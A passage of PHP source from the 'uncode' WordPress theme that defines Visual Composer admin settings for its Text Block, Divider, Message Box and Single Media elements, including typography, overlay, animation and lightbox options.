'half', ) , "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Content horizontal position", 'uncode') , "param_name" => "single_h_position", "description" => esc_html__("Specify the text horizontal position.", 'uncode') , "value" => array( esc_html__('Left', 'uncode') => 'left', esc_html__('Center', 'uncode') => 'center', esc_html__('Right', 'uncode') => 'right' ) , 'group' => esc_html__('Blocks', 'uncode') , 'dependency' => array( 'element' => 'single_reduced', 'not_empty' => true, ) ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Padding around text", 'uncode') , "param_name" => "single_padding", "min" => 0, "max" => 5, "step" => 1, "value" => 2, "description" => esc_html__("Set the text padding", 'uncode') , "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Reduce space between elements", 'uncode') , "param_name" => "single_text_reduced", "description" => esc_html__("Activate this to have less space between all the text elements inside the box.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Multiple click areas", 'uncode') , "param_name" => "single_elements_click", "description" => esc_html__("Activate this to make every single elements clickable instead of the whole block (when available).", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Blocks", 'uncode') , 'dependency' => array( 'element' => 'single_text', 'value' => 'overlay', ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Title text trasnform", 'uncode') , "param_name" => "single_title_transform", "description" => esc_html__("Specify the title text transformation.", 'uncode') , "value" => array( esc_html__('Default CSS', 'uncode') => '', esc_html__('Uppercase', 'uncode') => 'uppercase', esc_html__('Lowercase', 'uncode') => 'lowercase', esc_html__('Capitalize', 'uncode') => 'capitalize' ) , "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Title dimension", 'uncode') , "param_name" => "single_title_dimension", "description" => esc_html__("Specify the title dimension.", 'uncode') , "value" => $heading_size, "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Title font family", 'uncode') , "param_name" => "single_title_family", "description" => esc_html__("Specify the title font family.", 'uncode') , "value" => $heading_font, 'std' => '', "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Title font weight", 'uncode') , "param_name" => "single_title_weight", "description" => esc_html__("Specify the title font weight.", 'uncode') , "value" => $heading_weight, 'std' => '', "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Title line height", 'uncode') , "param_name" => "single_title_height", "description" => esc_html__("Specify the title line height.", 'uncode') , "value" => $heading_height, "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Title letter spacing", 'uncode') , "param_name" => "single_title_space", "description" => esc_html__("Specify the title letter spacing.", 'uncode') , "value" => $heading_space, "group" => esc_html__("Blocks", 'uncode') , ) , array( 'type' => 'iconpicker', 'heading' => esc_html__('Icon', 'uncode') , 'param_name' => 'single_icon', 'description' => esc_html__('Specify icon from library.', 'uncode') , 'value' => '', 'settings' => array( 'emptyIcon' => true, // default true, display an "EMPTY" icon? 'iconsPerPage' => 1100, // default 100, how many icons per/page to display 'type' => 'uncode' ) , 'group' => esc_html__('Blocks', 'uncode') , ) , array( 'type' => 'vc_link', 'heading' => esc_html__('Custom link', 'uncode') , 'param_name' => 'single_link', 'description' => esc_html__('Enter the custom link for the item.', 'uncode') , 'group' => esc_html__('Blocks', 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Shadow", 'uncode') , "param_name" => "single_shadow", "description" => esc_html__("Activate this to have the shadow behind the block.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("No border", 'uncode') , "param_name" => "single_border", "description" => esc_html__("Activate this to remove the border around the block.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Blocks", 'uncode') , ) , array_merge($add_css_animation, array( "group" => esc_html__("Blocks", 'uncode') , "param_name" => 'single_css_animation' )) , array_merge($add_animation_speed, array( "group" => esc_html__("Blocks", 'uncode') , "param_name" => 'single_animation_speed', 'dependency' => array( 'element' => 'single_css_animation', 'not_empty' => true ) )) , array_merge($add_animation_delay, array( "group" => esc_html__("Blocks", 'uncode') , "param_name" => 'single_animation_delay', 'dependency' => array( 'element' => 'single_css_animation', 'not_empty' => true ) )) , array( 'type' => 'uncode_items', 'heading' => '', 'param_name' => 'items', 'description' => esc_html__('Enter text which will be used as widget title. Leave blank if no title is needed.', 'uncode') , 'group' => esc_html__('Single block', 'uncode') , ) , array( 'type' => 'dropdown', 'heading' => 'Skin', 'param_name' => 'lbox_skin', 'value' => array( esc_html__('Dark', 'uncode') => '', esc_html__('Light', 'uncode') => 'white', ) , 'description' => esc_html__('Specify the lightbox skin color.', 'uncode') , 'group' => esc_html__('Lightbox', 'uncode') , ) , array( 'type' => 'dropdown', 'heading' => 'Direction', 'param_name' => 'lbox_dir', 'value' => array( esc_html__('Horizontal', 'uncode') => '', esc_html__('Vertical', 'uncode') => 'vertical', ) , 'description' => esc_html__('Specify the lightbox sliding direction.', 'uncode') , 'group' => esc_html__('Lightbox', 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Title", 'uncode') , "param_name" => "lbox_title", "description" => esc_html__("Activate this to add the media title.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Caption", 'uncode') , "param_name" => "lbox_caption", "description" => esc_html__("Activate this to add the media caption.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Social", 'uncode') , "param_name" => "lbox_social", "description" => esc_html__("Activate this for the social sharing buttons.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Deeplinking", 'uncode') , "param_name" => "lbox_deep", "description" => esc_html__("Activate this for the deeplinking of every slide.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("No thumbnails", 'uncode') , "param_name" => "lbox_no_tmb", "description" => esc_html__("Activate this for not showing the thumbnails.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("No arrows", 'uncode') , "param_name" => "lbox_no_arrows", "description" => esc_html__("Activate this for not showing the navigation arrows.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Remove double tap", 'uncode') , "param_name" => "no_double_tap", "description" => esc_html__("Remove the double tap action on mobile.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Mobile", 'uncode') , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') , 'group' => esc_html__('Extra', 'uncode') ) ) )); /* Text Block ---------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Text Block', 'uncode') , 'base' => 'vc_column_text', 'weight' => 98, 'icon' => 'fa fa-font', 'wrapper_class' => 'clearfix', 'php_class_name' => 'uncode_generic_admin', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Basic block of text', 'uncode') , 'params' => array( array( 'type' => 'textarea_html', 'holder' => 'div', 'heading' => esc_html__('Text', 'uncode') , 'param_name' => 'content', 'value' => wp_kses(__('<p>I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.</p>', 'uncode'), array( 'p' => array())) ) , array( "type" => 'checkbox', "heading" => esc_html__("Text lead", 'uncode') , "param_name" => "text_lead", "description" => esc_html__("Transform the text to leading.", 'uncode') , "value" => Array( '' => 'yes' ) , ) , $add_css_animation, $add_animation_speed, $add_animation_delay, array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) , array( 'type' => 'css_editor', 'heading' => esc_html__('Css', 'uncode') , 'param_name' => 'css', 'group' => esc_html__('Custom', 'uncode') ), array( "type" => "dropdown", "heading" => esc_html__("Border color", 'uncode') , "param_name" => "border_color", "description" => esc_html__("Specify a border color.", 'uncode') , "group" => esc_html__("Custom", 'uncode') , "value" => $uncode_colors_w_transp, ) , array( "type" => "dropdown", "heading" => esc_html__("Border style", 'uncode') , "param_name" => "border_style", "description" => esc_html__("Specify a border style.", 'uncode') , "group" => esc_html__("Custom", 'uncode') , "value" => $border_style, ) , ) , 'js_view' => 'UncodeTextView' )); /* Separator (Divider) ---------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Divider', 'uncode') , 'base' => 'vc_separator', 'weight' => 82, 'icon' => 'fa fa-arrows-h', 'show_settings_on_create' => true, 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Horizontal divider', 'uncode') , 'params' => array( array( "type" => "dropdown", "heading" => esc_html__("Color", 'uncode') , "param_name" => "sep_color", "description" => esc_html__("Separator color.", 'uncode') , "value" => $uncode_colors, ) , array( 'type' => 'iconpicker', 'heading' => esc_html__('Icon', 'uncode') , 'param_name' => 'icon', 'description' => esc_html__('Specify icon from library.', 'uncode') , 'value' => '', 'settings' => array( 'emptyIcon' => true, 'iconsPerPage' => 1100, 'type' => 'uncode' ) , ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Icon position', 'uncode') , 'param_name' => 'icon_position', 'value' => array( esc_html__('Center', 'uncode') => '', esc_html__('Left', 'uncode') => 'left', esc_html__('Right', 'uncode') => "right" ) , 'description' => esc_html__('Specify title location.', 'uncode') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Style', 'uncode') , 'param_name' => 'type', 'value' => getVcShared('separator styles') , 'description' => esc_html__('Separator style.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Custom width', 'uncode') , 'param_name' => 'el_width', 'description' => esc_html__('Insert the custom value in % or px.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Custom thickness', 'uncode') , 'param_name' => 'el_height', 'description' => esc_html__('Insert the custom value in em or px. This option can\'t be used with the separator with the icon.', 'uncode') , ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Activate scroll to top', 'uncode') , 'param_name' => 'scroll_top', 'description' => esc_html__('Activate if you want the scroll top function with the icon.', 'uncode') , 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) , 'dependency' => array( 'element' => 'icon', 'not_empty' => true ) , ) , array( 'type' => 'vc_link', 'heading' => esc_html__('URL (Link)', 'uncode') , 'param_name' => 'link', 'description' => esc_html__('Separator link.', 'uncode') , 'dependency' => array( 'element' => 'icon', 'not_empty' => true ) , ) , $add_css_animation, $add_animation_speed, $add_animation_delay, array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); /* Message box ---------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Message Box', 'uncode') , 'base' => 'vc_message', 'php_class_name' => 'uncode_message', 'icon' => 'fa fa-info', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Notification element', 'uncode') , 'params' => array( array( 'type' => 'dropdown', 'heading' => esc_html__('Message box type', 'uncode') , 'param_name' => 'message_color', 'admin_label' => true, 'value' => $uncode_colors, 'description' => esc_html__('Specify message type.', 'uncode') , 'param_holder_class' => 'vc_message-type' ) , array( 'type' => 'textarea_html', 'class' => 'messagebox_text', 'param_name' => 'content', 'heading' => esc_html__('Message text', 'uncode') , 'value' => wp_kses(__('<p>I am message box. Click edit button to change this text.</p>', 'uncode'), array( 'p' => array())) ) , $add_css_animation, $add_animation_speed, $add_animation_delay, array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) , )); /* Single image */ vc_map(array( 'name' => esc_html__('Single Media', 'uncode') , 'base' => 'vc_single_image', 'icon' => 'fa fa-image', 'weight' => 101, 'php_class_name' => 'uncode_generic_admin', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Simple media item', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('Enter text which will be used as widget title. Leave blank if no title is needed.', 'uncode') ) , array( "type" => "media_element", "heading" => esc_html__("Media", 'uncode') , "param_name" => "media", "value" => "", "description" => esc_html__("Specify a media from the media library.", 'uncode') , "admin_label" => true ) , array( "type" => 'checkbox', "heading" => esc_html__("Caption", 'uncode') , "param_name" => "caption", "description" => 'Activate to have the caption under the image.', "value" => array( '' => 'yes' ) ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Lightbox', 'uncode') , 'param_name' => 'media_lightbox', 'description' => esc_html__('Activate if you want to open the media in the lightbox.', 'uncode') , 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Poster', 'uncode') , 'param_name' => 'media_poster', 'description' => esc_html__('Activate if you want to view the poster image instead (this is usefull for other media than images with the use of the lightbox).', 'uncode') , 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) ) , array( 'type' => 'vc_link', 'heading' => esc_html__('URL (Link)', 'uncode') , 'param_name' => 'media_link', 'description' => esc_html__('Enter URL if you want this image to have a link.', 'uncode') , 'dependency' => array( 'element' => 'media_link_large', 'is_empty' => true, ) ) , array( "type" => 'checkbox', "heading" => esc_html__("Width", 'uncode') , "param_name" => "media_width_use_pixel", "description" => 'Set this value if you want to constrain the media width.', "group" => esc_html__("Aspect", 'uncode') , "value" => array( '' => 'yes' ) ) , array( "type" => "type_numeric_slider", "heading" => '', "param_name" => "media_width_percent", "min" => 0, "max" => 100, "step" => 1, "value" => 100, "description" => esc_html__("Set the media width with a percent value.", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , 'dependency' => array( 'element' => 'media_width_use_pixel', 'is_empty' => true, ) ) , array( 'type' => 'textfield', 'heading' => '', 'param_name' => 'media_width_pixel', 'description' => esc_html__("Insert the media width in pixel.", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , 'dependency' => array( 'element' => 'media_width_use_pixel', 'value' => 'yes' ) ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Aspect ratio', 'uncode') , 'param_name' => 'media_ratio', 'description' => esc_html__('Specify the aspect ratio for the media.', 'uncode') , "value" => array( esc_html__('Regular', 'uncode') => '', esc_html__('1:1', 'uncode') => 'one-one', esc_html__('4:3', 'uncode') => 'four-three', esc_html__('3:2', 'uncode') => 'three-two', esc_html__('16:9', 'uncode') => 'sixteen-nine', esc_html__('21:9', 'uncode') => 'twentyone-nine', esc_html__('3:4', 'uncode') => 'three-four', esc_html__('2:3', 'uncode') => 'two-three', esc_html__('9:16', 'uncode') => 'nine-sixteen', ) , 'group' => esc_html__('Aspect', 'uncode') , 'admin_label' => true, ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Alignment', 'uncode') , 'param_name' => 'alignment', 'value' => array( esc_html__('Align left', 'uncode') => '', esc_html__('Align right', 'uncode') => 'right', esc_html__('Align center', 'uncode') => 'center' ) , 'description' => esc_html__('Specify image alignment.', 'uncode') , "group" => esc_html__("Aspect", 'uncode') , ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Shape', 'uncode') , 'param_name' => 'shape', 'value' => array( esc_html__('Select…', 'uncode') => '', esc_html__('Rounded', 'uncode') => 'img-round', esc_html__('Circular', 'uncode') => 'img-circle' ) , 'description' => esc_html__('Specify media shape.', 'uncode') , "group" => esc_html__("Aspect", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Thumbnail border", 'uncode') , "param_name" => "border", "description" => 'Activate to have a border around like a thumbnail.', "group" => esc_html__("Aspect", 'uncode') , "value" => array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Shadow", 'uncode') , "param_name" => "shadow", "description" => 'Activate to have a shadow.', "group" => esc_html__("Aspect", 'uncode') , "value" => array( '' => 'yes' ) ) , array( "type" => 'checkbox', "heading" => esc_html__("Activate advanced preset", 'uncode') , "param_name" => "advanced", "description" => 'Activate if you want to have advanced options.', "group" => esc_html__("Aspect", 'uncode') , "value" => array( '' => 'yes' ) ) , array( 'type' => 'sorted_list', 'heading' => esc_html__('Media', 'uncode') , 'param_name' => 'media_items', 'description' => esc_html__('Control teasers look. Enable blocks and place them in desired order. Note: This setting can be overridden on post to post basis.', 'uncode') , 'value' => 'media', "group" => esc_html__("Advanced", 'uncode') , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , 'options' => array( array( 'media', esc_html__('Media', 'uncode') , array( array( 'original', esc_html__('Original', 'uncode') ) , array( 'poster', esc_html__('Poster', 'uncode') ) ) ) , array( 'icon', esc_html__('Icon', 'uncode') , ) , array( 'title', esc_html__('Title', 'uncode') , ) , array( 'caption', esc_html__('Caption', 'uncode') , ) , array( 'description', esc_html__('Description', 'uncode') , ) , array( 'spacer', esc_html__('Spacer', 'uncode') , array( array( 'half', esc_html__('0.5x', 'uncode') ) , array( 'one', esc_html__('1x', 'uncode') ) , array( 'two', esc_html__('2x', 'uncode') ) ) ) , array( 'sep-one', esc_html__('Separator One', 'uncode') , array( array( 'full', esc_html__('Full width', 'uncode') ) , array( 'reduced', esc_html__('Reduced width', 'uncode') ) ) ) , array( 'sep-two', esc_html__('Separator Two', 'uncode') , array( array( 'full', esc_html__('Full width', 'uncode') ) , array( 'reduced', esc_html__('Reduced width', 'uncode') ) ) ) , array( 'team-social', esc_html__('Team socials', 'uncode') , ) , ) ) , array( "type" => 'dropdown', "heading" => esc_html__("Block layout", 'uncode') , "param_name" => "media_text", "description" => esc_html__("Specify the text positioning inside the box.", 'uncode') , "value" => array( esc_html__('Content overlay', 'uncode') => 'overlay', esc_html__('Content under image', 'uncode') => 'under' ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , 'group' => esc_html__('Advanced', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Skin", 'uncode') , "param_name" => "media_style", "description" => esc_html__("Specify the skin inside the content box.", 'uncode') , "value" => array( esc_html__('Light', 'uncode') => 'light', esc_html__('Dark', 'uncode') => 'dark' ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , 'group' => esc_html__('Advanced', 'uncode') , ) , array( "type" => "dropdown", "heading" => esc_html__("Background color", 'uncode') , "param_name" => "media_back_color", "description" => esc_html__("Specify a background color for the box.", 'uncode') , "value" => $uncode_colors, 'group' => esc_html__('Advanced', 'uncode') , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , ) , array( "type" => "dropdown", "heading" => esc_html__("Overlay color", 'uncode') , "param_name" => "media_overlay_color", "description" => esc_html__("Specify a background color for the box.", 'uncode') , "value" => $uncode_colors, 'group' => esc_html__('Advanced', 'uncode') , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Overlay coloration", 'uncode') , "param_name" => "media_overlay_coloration", "description" => wp_kses(__("Specify the coloration style for the overlay.<br />N.B. For the gradient you can't customize the overlay color.", 'uncode'), array( 'br' => array( ) ) ) , "value" => array( esc_html__('Fully colored', 'uncode') => '', esc_html__('Gradient top', 'uncode') => 'top_gradient', esc_html__('Gradient bottom', 'uncode') => 'bottom_gradient', ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , 'group' => esc_html__('Advanced', 'uncode') , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Overlay opacity", 'uncode') , "param_name" => "media_overlay_opacity", "min" => 1, "max" => 100, "step" => 1, "value" => 50, "description" => esc_html__("Set the overlay opacity.", 'uncode') , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , 'group' => esc_html__('Advanced', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Overlay text visibility", 'uncode') , "param_name" => "media_text_visible", "description" => esc_html__("Activate this to show the text as starting point.", 'uncode') , "value" => array( esc_html__('Hidden', 'uncode') => 'no', esc_html__('Visible', 'uncode') => 'yes', ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , "group" => esc_html__("Advanced", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Overlay text animation", 'uncode') , "param_name" => "media_text_anim", "description" => esc_html__("Activate this to animate the text on mouse over.", 'uncode') , "value" => array( esc_html__('Animated', 'uncode') => 'yes', esc_html__('Static', 'uncode') => 'no', ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , "group" => esc_html__("Advanced", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Overlay text animation type", 'uncode') , "param_name" => "media_text_anim_type", "description" => esc_html__("Specify the animation type.", 'uncode') , "value" => array( esc_html__('Opacity', 'uncode') => '', esc_html__('Bottom to top', 'uncode') => 'btt', ) , "group" => esc_html__("Advanced", 'uncode') , 'dependency' => array( 'element' => 'media_text_anim', 'value' => 'yes', ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Overlay visibility", 'uncode') , "param_name" => "media_overlay_visible", "description" => esc_html__("Activate this to show the overlay as starting point.", 'uncode') , "value" => array( esc_html__('Hidden', 'uncode') => 'no', esc_html__('Visible', 'uncode') => 'yes', ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , "group" => esc_html__("Advanced", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Overlay animation", 'uncode') , "param_name" => "media_overlay_anim", "description" => esc_html__("Activate this to animate the overlay on mouse over.", 'uncode') , "value" => array( esc_html__('Animated', 'uncode') => 'yes', esc_html__('Static', 'uncode') => 'no', ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , "group" => esc_html__("Advanced", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Image coloration", 'uncode') , "param_name" => "media_image_coloration", "description" => esc_html__("Specify the image coloration mode.", 'uncode') , "value" => array( esc_html__('Standard', 'uncode') => '', esc_html__('Desaturated', 'uncode') => 'desaturated', ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , "group" => esc_html__("Advanced", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Image coloration animation", 'uncode') , "param_name" => "media_image_color_anim", "description" => esc_html__("Activate this to animate the image coloration on mouse over.", 'uncode') , "value" => array( esc_html__('Static', 'uncode') => '', esc_html__('Animated', 'uncode') => 'yes', ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , "group" => esc_html__("Advanced", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Image animation", 'uncode') , "param_name" => "media_image_anim", "description" => esc_html__("Activate this to animate the image on mouse over.", 'uncode') , "value" => array( esc_html__('Animated', 'uncode') => 'yes', esc_html__('Static', 'uncode') => 'no', ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , "group" => esc_html__("Advanced", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Text horizontal alignment", 'uncode') , "param_name" => "media_h_align", "description" => esc_html__("Specify the horizontal alignment.", 'uncode') , "value" => array( esc_html__('Left', 'uncode') => 'left', esc_html__('Center', 'uncode') => 'center', esc_html__('Right', 'uncode') => 'right', esc_html__('Justify', 'uncode') => 'justify' ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , 'group' => esc_html__('Advanced', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Content vertical position", 'uncode') , "param_name" => "media_v_position", "description" => esc_html__("Specify the text vertical position.", 'uncode') , "value" => array( esc_html__('Middle', 'uncode') => '', esc_html__('Top', 'uncode') => 'top', esc_html__('Bottom', 'uncode') => 'bottom' ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , 'group' => esc_html__('Advanced', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Content dimension reduced", 'uncode') , "param_name" => "media_reduced", "description" => esc_html__("Specify the text reduction amount to shrink the overlay content dimension.", 'uncode') , "value" => array( esc_html__('100%', 'uncode') => '', esc_html__('75%', 'uncode') => 'three_quarter', esc_html__('50%', 'uncode') => 'half', ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , "group" => esc_html__("Advanced", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Content horizontal position", 'uncode') , "param_name" => "media_h_position", "description" => esc_html__("Specify the text horizontal position.", 'uncode') , "value" => array( esc_html__('Left', 'uncode') => 'left', esc_html__('Center', 'uncode') => 'center', esc_html__('Right', 'uncode') => 'right' ) , 'group' => esc_html__('Advanced', 'uncode') , 'dependency' => array( 'element' => 'media_reduced', 'not_empty' => true, ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Padding around text", 'uncode') , "param_name" => "media_padding", "min" => 0, "max" => 5, "step" => 1, "value" => 2, "description" => esc_html__("Set the text padding", 'uncode') , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , "group" => esc_html__("Advanced", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Reduce space between elements", 'uncode') , "param_name" => "media_text_reduced", "description" => esc_html__("Activate this to have less space between all the text elements inside the box.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , "group" => esc_html__("Advanced", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Multiple click areas", 'uncode') , "param_name" => "media_elements_click", "description" => esc_html__("Activate this to make every single elements clickable instead of the whole block (when available).", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Advanced", 'uncode') , 'dependency' => array( 'element' => 'media_text', 'value' => 'overlay', ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Title text transform", 'uncode') , "param_name" => "media_title_transform", "description" => esc_html__("Specify the title text transformation.", 'uncode') , "value" => array( esc_html__('Default CSS', 'uncode') => '', esc_html__('Uppercase', 'uncode') => 'uppercase', esc_html__('Lowercase', 'uncode') => 'lowercase', esc_html__('Capitalize', 'uncode') => 'capitalize' ) , "group" => esc_html__("Advanced", 'uncode') , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Title dimension", 'uncode') , "param_name" => "media_title_dimension", "description" => esc_html__("Specify the title dimension.", 'uncode') , "value" => $heading_size, "group" => esc_html__("Advanced", 'uncode') , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Title font family", 'uncode') , "param_name" => "media_title_family", "description" => esc_html__("Specify the title font family.", 'uncode') , "value" => $heading_font, 'std' => '', "group" => esc_html__("Advanced", 'uncode') , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Title font weight", 'uncode') , "param_name" => "media_title_weight", "description" => esc_html__("Specify the title font weight.", 'uncode') , "value" =>$heading_weight, 'std' => '', "group" => esc_html__("Advanced", 'uncode') , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Title line height", 'uncode') , "param_name" => "media_title_height", "description" => esc_html__("Specify the title line height.", 'uncode') , "value" => $heading_height, "group" => esc_html__("Advanced", 'uncode') , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Title letter spacing", 'uncode') , "param_name" => "media_title_space", "description" => esc_html__("Specify the title letter spacing.", 'uncode') , "value" => $heading_space, "group" => esc_html__("Advanced", 'uncode') , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , ) , array( 'type' => 'iconpicker', 'heading' => esc_html__('Icon', 'uncode') , 'param_name' => 'media_icon', 'description' => esc_html__('Specify icon from library.', 'uncode') , 'value' => '', 'settings' => array( 'emptyIcon' => true, // default true, display an "EMPTY" icon? 'iconsPerPage' => 1100, // default 100, how many icons per/page to display 'type' => 'uncode' ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes' ) , 'group' => esc_html__('Advanced', 'uncode') , ) , $add_css_animation, $add_animation_speed, $add_animation_delay, array( 'type' => 'dropdown', 'heading' => 'Skin', 'param_name' => 'lbox_skin', 'value' => array( esc_html__('Dark', 'uncode') => '', esc_html__('Light', 'uncode') => 'white', ) , 'description' => esc_html__('Specify the lightbox skin color.', 'uncode') , 'group' => esc_html__('Lightbox', 'uncode') , ) , array( 'type' => 'dropdown', 'heading' => 'Direction', 'param_name' => 